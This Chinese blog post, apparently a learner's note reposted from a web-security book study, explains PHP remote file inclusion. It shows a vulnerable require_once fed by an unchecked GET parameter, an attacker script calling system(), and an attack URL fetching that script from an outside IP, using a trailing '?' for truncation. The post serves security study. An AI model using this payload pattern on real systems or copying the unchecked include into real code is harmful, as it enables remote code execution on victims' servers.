php遠程文件包含截斷問題


今天在學習《白帽子講web安全》一書是,提到一個php遠程文件包含漏洞

可以從攻擊者服務器中的一個寫好的攻擊腳本中遠程執行命令

服務器中有漏洞的頁面代碼為:

#test.php
#
error_reporting(0); $route="share"; $basePath=$_GET['param']; if ($route == "share") { require_once $basePath.'/action/mshare.php'; } elseif ($route == "sharelink") { require_once $basePath.'/action/m_shareliink.php'; }

攻擊者服務器中的攻擊腳本為:

#test1.txt
<?php system("ver;"); #此處可以自己定義要執行的命令 ?>

攻擊者可以構造如下url遠程調用攻擊者服務器上的攻擊腳本:

/test.php/?param=http://23.105.202.153/test.txt?

最后的問號會截斷require_once在$basePath參數后的字符串

 

這里有一個問題,就是攻擊者的攻擊腳本只能保存為txt格式,而不能保存為php格式,否則會導致攻擊腳本無法在受害者機器上運行。

還有一個問題需要解決,就是無法向攻擊者編寫的腳本傳遞參數,如果攻擊者腳本加入了參數,則會導致無法截斷,這一問題需要解決。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM